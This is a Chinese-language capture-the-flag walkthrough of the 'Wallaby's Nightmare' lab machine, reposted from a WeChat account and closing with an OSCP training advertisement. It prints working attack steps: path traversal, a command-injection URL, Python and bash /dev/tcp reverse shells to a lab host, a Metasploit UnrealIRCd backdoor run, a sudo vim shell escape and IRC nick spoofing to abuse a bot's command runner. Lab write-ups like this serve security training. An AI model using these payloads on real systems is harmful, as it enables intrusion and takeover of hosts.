一、探测靶机IP(进行信息收集)
主机发现
arp-scan -l
靶机IP为192.168.10.25,后面机子出问题了,重新装了一下,改为了192.168.10.26
nmap -sS -sV -T5 -p- 192.168.10.25 -A
二、进行目录枚举
dirb http://192.168.10.25
dirsearch -u http://192.168.10.25
nikto -h http://192.168.10.25
/index.php?page=../../../../../../../../../../etc/passwd
这里扫出来存在目录遍历
三、进入网页
这里机子出了点问题,重装了一下,改为192.168.10.25
输入一个名字开始CTF
在这个页面可以知道可能有一个Waldo的用户
进入这个界面看到等于号,第一时间尝试目录遍历
http://192.168.10.26/?page=../../../../../../etc/passwd
看到www-data 还有MySQL等等
再去目录遍历一下../../../../var/www/html/wp-config.php
一般wp-config.php存在用户密码
http://192.168.10.26/?page=../../../../var/www/html/wp-config.php
逆天,访问不了了,知道为什么前面出问题了,把端口关了
nmap -sS -sV -T5 -p- 192.168.10.26 -A
四、IRC6667端口利用
IRC(Internet Relay Chat)是互联网上的聊天协议,用于多人实时聊天和交流。IRC服务器端口是指用于与IRC服务器建立连接的端口号。
在IRC中,有两种常见的端口号:TCP端口6667和6697。
-
TCP端口6667:这是最常用的IRC端口号。大多数IRC服务器都默认使用此端口号作为标准连接端口。如果你使用的是传统的IRC客户端,那么可以直接连接到该端口。
-
TCP端口6697:这是用于IRC安全连接(SSL/TLS加密)的端口号。如果你希望通过加密通道连接到IRC服务器,保护聊天内容的安全性,那么可以使用该端口。
查看有无历史漏洞
找到一个历史漏洞
https://github.com/spvreddy/metasploitable-solutions/blob/master/attacking-on-port-6667.md
尝试MSF提权
msf6 > search unreal
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/games/ut2004_secure 2004-06-18 good Yes Unreal Tournament 2004 "secure" Overflow (Linux)
1 _ target: Automatic . . . .
2 _ target: UT2004 Linux Build 3120 . . . .
3 _ target: UT2004 Linux Build 3186 . . . .
4 exploit/windows/games/ut2004_secure 2004-06-18 good Yes Unreal Tournament 2004 "secure" Overflow (Win32)
5 exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent No UnrealIRCD 3.2.8.1 Backdoor Command Execution
Interact with a module by name or index. For example info 5, use 5 or use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 6667 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.10.26
RHOSTS => 192.168.10.26
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RPORT 6667
RPORT => 6667
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/adduser . normal No Add user with useradd
1 payload/cmd/unix/bind_perl . normal No Unix Command Shell, Bind TCP (via Perl)
2 payload/cmd/unix/bind_perl_ipv6 . normal No Unix Command Shell, Bind TCP (via perl) IPv6
3 payload/cmd/unix/bind_ruby . normal No Unix Command Shell, Bind TCP (via Ruby)
4 payload/cmd/unix/bind_ruby_ipv6 . normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
5 payload/cmd/unix/generic . normal No Unix Command, Generic Command Execution
6 payload/cmd/unix/reverse . normal No Unix Command Shell, Double Reverse TCP (telnet)
7 payload/cmd/unix/reverse_bash_telnet_ssl . normal No Unix Command Shell, Reverse TCP SSL (telnet)
8 payload/cmd/unix/reverse_perl . normal No Unix Command Shell, Reverse TCP (via Perl)
9 payload/cmd/unix/reverse_perl_ssl . normal No Unix Command Shell, Reverse TCP SSL (via perl)
10 payload/cmd/unix/reverse_ruby . normal No Unix Command Shell, Reverse TCP (via Ruby)
11 payload/cmd/unix/reverse_ruby_ssl . normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
12 payload/cmd/unix/reverse_ssl_double_telnet . normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.10.11
LHOST => 192.168.10.11
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.10.26 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 6667 yes The target port (TCP)
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.10.11 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP handler on 192.168.10.11:4444
[-] 192.168.10.26:6667 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection with (192.168.10.26:6667) timed out.
[*] Exploit completed, but no session was created.
失败,要是考试就炸了,这里大概率是因为6667端口没开,也可能防火墙拦截,极小可能payload原因
五、再次端口扫描
再次进行端口扫描,多枚举
nmap -sS -sV -T5 -p- 192.168.10.26 -A
看到又开了一个60080http服务
目录枚举
dirsearch -u http://192.168.10.26:60080/
nikto -h http://192.168.10.26:60080
这里还是存在目录遍历并且还有wp-config.php文件
虽然前面的目录并没有扫到什么东西,但是作者已经给了提示
我搬到另一个端口就安全了,是说明还存在着page参数
http://192.168.10.26:60080/?page=
http://192.168.10.26:60080/?page=../../../../../../etc/passwd
http://192.168.10.26:60080/?page=../../../../var/www/html/wp-config.php
有点意思哈
尝试php伪协议也没用
http://192.168.10.26:60080/?page=php://filter/read=convert.base64-encode/resource=wp-config.php
再次扫描
dirb http://192.168.10.26:60080/?page=
http://192.168.10.26:60080/?page=contact
http://192.168.10.26:60080/?page=mailer
得到两条有用信息
在mailer的源代码中发现
这里存在命令注入
http://192.168.10.26:60080/?page=mailer&mail=mail wallaby "hello"; whoami
六、反弹shell
http://192.168.10.26:60080/?page=mailer&mail=mail wallaby "hello";nc 192.168.10.11:4444
有点意思哈,使用python
http://192.168.10.26:60080/?page=mailer&mail=mail wallaby "hello";python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.11",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
反弹成功
七、提权
建立交互式终端
python -c "import pty; pty.spawn('/bin/bash');"
进行信息搜集
www-data@ubuntu:/$ ls
ls
bin dev home lib lost+found mnt proc run srv tmp var
boot etc initrd.img lib64 media opt root sbin sys usr vmlinuz
www-data@ubuntu:/$ cd home
cd home
www-data@ubuntu:/home$ ls-la
ls-la
ls-la: command not found
www-data@ubuntu:/home$ ls -la
ls -la
total 20
drwxr-xr-x 5 root root 4096 Dec 16 2016 .
drwxr-xr-x 22 root root 4096 Dec 14 2016 ..
drwxr-xr-x 5 ircd ircd 4096 Dec 16 2016 ircd
drwxr-xr-x 5 waldo waldo 4096 Dec 16 2016 waldo
drwxr-xr-x 8 wallaby wallaby 4096 Dec 16 2016 wallaby
www-data@ubuntu:/home$ cd wallaby
cd wallaby
www-data@ubuntu:/home/wallaby$ ls -la
ls -la
total 52
drwxr-xr-x 8 wallaby wallaby 4096 Dec 16 2016 .
drwxr-xr-x 5 root root 4096 Dec 16 2016 ..
-rw------- 1 wallaby wallaby 1 Dec 30 2016 .bash_history
-rw-r--r-- 1 wallaby wallaby 220 Dec 16 2016 .bash_logout
-rw-r--r-- 1 wallaby wallaby 3771 Dec 16 2016 .bashrc
drwx------ 3 wallaby wallaby 4096 Dec 16 2016 .cache
drwx------ 2 wallaby wallaby 4096 Dec 16 2016 .irssi
drwx------ 4 wallaby wallaby 4096 Dec 16 2016 .local
drwxrwxr-x 2 wallaby wallaby 4096 Dec 16 2016 .nano
-rw-r--r-- 1 wallaby wallaby 655 Dec 16 2016 .profile
-rw-rw-r-- 1 wallaby wallaby 66 Dec 16 2016 .selected_editor
drwxrwxr-x 4 wallaby wallaby 4096 Dec 30 2016 .sopel
-rw-r--r-- 1 wallaby wallaby 0 Dec 16 2016 .sudo_as_admin_successful
drwxrwxr-x 3 wallaby wallaby 4096 Dec 16 2016 www
www-data@ubuntu:/home/wallaby$ cd ..
cd ..
www-data@ubuntu:/home$ cd waldo
cd waldo
www-data@ubuntu:/home/waldo$ ls -la
ls -la
total 48
drwxr-xr-x 5 waldo waldo 4096 Dec 16 2016 .
drwxr-xr-x 5 root root 4096 Dec 16 2016 ..
-rw------- 1 waldo waldo 8 Dec 27 2016 .bash_history
-rw-r--r-- 1 waldo waldo 220 Dec 14 2016 .bash_logout
-rw-r--r-- 1 waldo waldo 3771 Dec 14 2016 .bashrc
drwx------ 2 waldo waldo 4096 Dec 14 2016 .cache
drwx------ 2 waldo waldo 4096 Dec 16 2016 .irssi
drwxrwxr-x 2 waldo waldo 4096 Dec 16 2016 .nano
-rw-r--r-- 1 waldo waldo 655 Dec 14 2016 .profile
-rw-rw-r-- 1 waldo waldo 66 Dec 16 2016 .selected_editor
-rw-r--r-- 1 waldo waldo 0 Dec 14 2016 .sudo_as_admin_successful
-rw------- 1 waldo waldo 1348 Dec 16 2016 .viminfo
-rwxrwxr-x 1 waldo waldo 113 Dec 16 2016 irssi.sh
www-data@ubuntu:/home/waldo$ cd ..
cd ..
www-data@ubuntu:/home$ cd ircd
cd ircd
www-data@ubuntu:/home/ircd$ ls -la
ls -la
total 3504
drwxr-xr-x 5 ircd ircd 4096 Dec 16 2016 .
drwxr-xr-x 5 root root 4096 Dec 16 2016 ..
-rw------- 1 ircd ircd 1 Dec 16 2016 .bash_history
-rw-r--r-- 1 ircd ircd 220 Dec 16 2016 .bash_logout
-rw-r--r-- 1 ircd ircd 3771 Dec 16 2016 .bashrc
drwx------ 2 ircd ircd 4096 Dec 16 2016 .irssi
drwxrwxr-x 2 ircd ircd 4096 Dec 16 2016 .nano
-rw-r--r-- 1 ircd ircd 655 Dec 16 2016 .profile
-rw-rw-r-- 1 ircd ircd 64 Dec 16 2016 .selected_editor
-rw-r--r-- 1 ircd ircd 0 Dec 16 2016 .sudo_as_admin_successful
-rw-rw-r-- 1 ircd ircd 214 Dec 16 2016 .wget-hsts
drwx------ 11 ircd ircd 4096 May 8 2025 Unreal3.2.10.4
-rw-rw-r-- 1 ircd ircd 3540227 Jul 26 2014 Unreal3.2.10.4.tar.gz
www-data@ubuntu:/home/ircd$ find / -perm -4000 -print 2>/dev/null
find / -perm -4000 -print 2>/dev/null
/lib/uncompress.so
/bin/su
/bin/ping6
/bin/mount
/bin/ping
/bin/ntfs-3g
/bin/umount
/bin/fusermount
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/vmware-user-suid-wrapper
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chsh
www-data@ubuntu:/home/ircd$ sudo -l
sudo -l
Matching Defaults entries for www-data on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User www-data may run the following commands on ubuntu:
(waldo) NOPASSWD: /usr/bin/vim /etc/apache2/sites-available/000-default.conf
(ALL) NOPASSWD: /sbin/iptables
在wallby用户里www目录下有一个meetings文件,但是没有什么东西
查看定时任务也无果
继续尝试sudo提权
先看到无密码的iptables,iptables
是 Linux 系统中用于配置防火墙规则的工具
sudo /sbin/iptables -L
防火墙限制外部访问irc服务
清空防火墙策略
sudo /sbin/iptables --flush
重新扫描该端口,发现开放了,并且该服务是wallaby的
waldo用户
sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf
:!bash -i >& /dev/tcp/192.168.10.11/6666 0>&1
直接复制粘贴,enter
得到waldo用户,但不是真正的shell,这时使用sudo -l还需要waldo的密码
python -c "import pty; pty.spawn('/bin/bash');"
find / -name wallaby* 2> /dev/null
在.sopel目录下发现了default.cfg文件
cat default.cfg
[core]
这是一个节的名称,代表核心配置部分,涵盖了 Sopel 机器人运行的基本参数。
nick = wallabysbot
nick 为键,指的是机器人在 IRC 网络中的昵称。
wallabysbot 是对应的值,也就是机器人在 IRC 频道里显示的名字。
host = 127.0.0.1
host 为键,表示 IRC 服务器的地址。
127.0.0.1 是对应的值,这是本地回环地址,意味着机器人会连接到本地运行的 IRC 服务器。
use_ssl = false
use_ssl 为键,用于决定是否使用 SSL 加密连接到 IRC 服务器。
false 是对应的值,表明不使用 SSL 加密。
port = 6667
port 为键,指的是连接 IRC 服务器时使用的端口号。
6667 是对应的值,这是 IRC 服务器常用的非 SSL 端口。
owner = waldo
owner 为键,代表机器人的所有者。
waldo 是对应的值,即拥有管理机器人权限的用户。
channels = #wallabyschat
channels 为键,代表机器人启动后要自动加入的 IRC 频道列表。
#wallabyschat 是对应的值,也就是机器人会自动加入名为 #wallabyschat 的频道。
enable = run, admin, adminchannel, announce, help
enable 为键,用于指定要启用的 Sopel 插件列表。
run, admin, adminchannel, announce, help 是对应的值,表明启用 run、admin、adminchannel、announce 和 help 这些插件。
Irssi IRC客户端
irssi -c 192.168.10.26 -p 6667 -n wallabyschat
Irssi IRC客户端 连接到某个 IRC 服务器的记录
/list #查看频道
/j wallabyschat #加入频道
/wc #退出频道,查看用户信息
/whois wallabysbot
#看到sopel,我们之前做的目录
ircname
:IRC 中的 “真实姓名”(Real Name),这里明确标识这是一个基于 Sopel 框架的机器人,并附带了 Sopel 的官方网站,说明该机器人由 Sopel 开发或使用 Sopel 框架搭建。
再次返回.sopel目录,依次查看
在modules目录下发现一个run.py,这个脚本就是.run加命令执行
import sopel.module, subprocess, os
from sopel.module import example
@sopel.module.commands('run')
@example('.run ls')
defrun(bot, trigger):
if trigger.owner:
os.system('%s' % trigger.group(2))
runas1 = subprocess.Popen('%s' % trigger.group(2), stdout=subprocess.PIPE).communicate()[0]
runas = str(runas1)
bot.say(' '.join(runas.split('\n')))
else:
bot.say('Hold on, you aren't Waldo?')
提权
发现Waldo正在使用tmux满足IRC需求…如果服务装置出现故障…就是说tmux掉线了,IRC也会跟着掉线…
通过直接终止tmux
进程达成IRC 客户端断开连接,服务器标记为Waldo离线,而当Waldo离线,我们这时就可以进行欺骗,将**昵称 (Nick)**修改为Waldo,这时IRC 服务器就会以为我们是Waldo,从而通过这个run.py实现反弹shell,获得真正的waldo用户
tmux
是一个终端复用工具,允许用户在后台运行会话(session)。当你在 tmux
中启动 IRC 客户端(如 irssi
),IRC 进程会依附于 tmux
会话的进程树。
执行 tmux kill-session -t irssi
或直接终止 tmux
进程,会触发以下流程:
-
tmux
会话被终止(PID 1001 结束)。 -
IRC 客户端进程(PID 1002)因父进程终止而被系统发送
SIGHUP
信号(挂起信号)。 -
IRC 客户端断开连接,服务器标记你为离线。
-
IRC 昵称更改: 通过
/nick Waldo
命令可以临时更改昵称,但需满足以下条件: -
新昵称未被他人占用。
-
服务器未开启昵称注册保护(如未启用
NickServ
服务)。 -
在 IRC 客户端输入
/nick Waldo
,将昵称从原值(如attacker
)改为Waldo
。 -
表面效果: 频道中的其他用户会看到你的昵称变为
Waldo
。
部分 IRC 服务器会强制使用系统登录名作为用户名(如 Linux 的 $USER
),忽略客户端配置。
注意:但是这只是靶机环境,部分 IRC 服务器会强制使用系统登录名作为用户名(如 Linux 的 **$USER
**),忽略客户端配置,如果靶机 IRC 启用了昵称注册(常见配置),开启了NickServ 服务,你需要密码才能使用已注册的昵称
查看用户的进程,并将tmux进程关闭
ps -aux | grep waldo
sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf
:!kill 736
将tmux new-session -d -s irssi的进程删掉进行检查
根据前面我们可以知道拥有管理机器人权限的用户为waldo
/wc #退出频道,查看用户信息
/j wallabyschat #加入频道
/nick waldo #修改自己用户名为waldo
nc -nvlp 3333
.run bash -c 'bash -i >& /dev/tcp/192.168.10.11/3333 0>&1'
END
oscp
有对红队工作感兴趣,或者有意报考oscp的师傅,可以考虑一下我们的培训课程,加我微信咨询,好处如下:
1.报考后课程随时可看,并且如果对考试没有信心,还可以留群跟第二批课程学习,不限次数时间,报考即是一辈子可看
2.200+台靶机及官方课程,lab靶机+域的内容团队泷老师和小羽老师会带大家全部过一遍,并且群内随时答疑,团队老师及群友都会积极解答,全天可答疑
3.目前可接受分期付款,无利息,最多分四个月,第一次付完即可观看视频
4.加入课程可享受工作推荐机会,优秀者可内推至红队
5.报考即送送官方文档中文版,以及kali命令详解中文版,纯人工翻译,版权为团队所有
知识星球
还可以加入我们的知识星球,包含cs二开,甲壳虫,红盟工具等,还有很多src挖掘资料包
原文始发于微信公众号(泷羽Sec-临观):打靶日记 Wallaby Nightmare
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论